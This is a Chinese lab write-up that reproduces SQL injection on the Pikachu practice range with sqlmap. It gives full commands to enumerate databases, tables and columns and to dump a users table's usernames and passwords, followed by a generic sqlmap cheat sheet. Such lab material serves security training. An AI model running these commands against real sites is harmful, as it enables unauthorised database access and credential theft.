文章目录
- 一、链接分析
- 二、kali 漏洞扫描
-
- (一)获取数据库
- (二)获取数据表
- (三)获取数据表字段信息
- (四)获取数据
- 总结
今天复现搜索型型注入和xx型注入的案例。本文仅用于合法授权的渗透测试场景,旨在帮助开发者识别sql注入漏洞、提升Web应用安全性,严禁用于未授权攻击!网络安全无小事,违规操作将承担相应法律责任。
一、链接分析
通过随机输入字符串,可以看到搜索型注入和xx型注入的提交请求都为 get 请求,其中搜索型注入的数据报为
xx型数据包为:
然后通过 sqlmap 对这两个地址进行扫描,发现其存在的 sql 漏洞依然为 布尔盲注漏洞(boolen-based blind)、报错注入(error-based)、时间盲注(time-based blind)、联合查询注入(union query). 其中
- 联合查询注入(union query)在pikachu靶场——SQL-Inject—1(Kali系统)已经复现,可以对照的在这个接口进行尝试。
- 报错注入(error-based)在pikachu靶场——SQL-Inject—2(Kali系统)完成复现 **(审核一直通不过,有需要的话可以留言) **,可参考进行尝试。
二、kali 漏洞扫描
今天主要使用 kali 的 sqlmap 实现对漏洞的注入,获取对应的数据库,数据表,数据结构以及具体的数据。本章以搜索型注入为例。
(一)获取数据库
添加 –current-db,完整命令为:
sqlmap -u 'http://192.168.0.20/pikachu/vul/sqli/sqli_search.php?name=pika&submit=%E6%90%9C%E7%B4%A2' –random-agent –proxy='http://127.0.0.1:8080' –batch –current-db
主要是显示当前连接的数据,返回信息为:
如果需要返回所有数据库,添加 –dbs命令为:
sqlmap -u 'http://192.168.0.20/pikachu/vul/sqli/sqli_search.php?name=pika&submit=%E6%90%9C%E7%B4%A2' –random-agent –proxy='http://127.0.0.1:8080' –batch –dbs
这里返回的是目标主机所有的数据库,根据实际会有所不同。
(二)获取数据表
需要传入想要查询的数据库名称,-D pikachu –tables,完整命令为:
sqlmap -u 'http://192.168.0.20/pikachu/vul/sqli/sqli_search.php?name=pika&submit=%E6%90%9C%E7%B4%A2' –random-agent –proxy='http://127.0.0.1:8080' –batch -D pikachu –tables

(三)获取数据表字段信息
需要传入想要查询的数据表名称,-D pikachu –T users –columns,完整命令为:
sqlmap -u 'http://192.168.0.20/pikachu/vul/sqli/sqli_search.php?name=pika&submit=%E6%90%9C%E7%B4%A2' –random-agent –proxy='http://127.0.0.1:8080' –batch -D pikachu -T user –columns

(四)获取数据
需要传入想要查询的数据表字段名称,-D pikachu –T users –columns,完整命令为:
sqlmap -u 'http://192.168.0.20/pikachu/vul/sqli/sqli_search.php?name=pika&submit=%E6%90%9C%E7%B4%A2' –random-agent –proxy='http://127.0.0.1:8080' –batch -D pikachu -T users -C level,id,password,username –dump

总结
对于使用 kali 的sqlmap 工具进行 sql注入时,其具体命令格式如下:
# 获取所有数据库
sqlmap -u "目标URL" –dbs
# 获取当前数据库
sqlmap -u "目标URL" –current-db
# 获取表
sqlmap -u "目标URL" -D pikachu –tables
# 获取字段
sqlmap -u "目标URL" -D pikachu -T users –columns
# 获取数据
sqlmap -u "目标URL" -D pikachu -T users -C username,password –dump




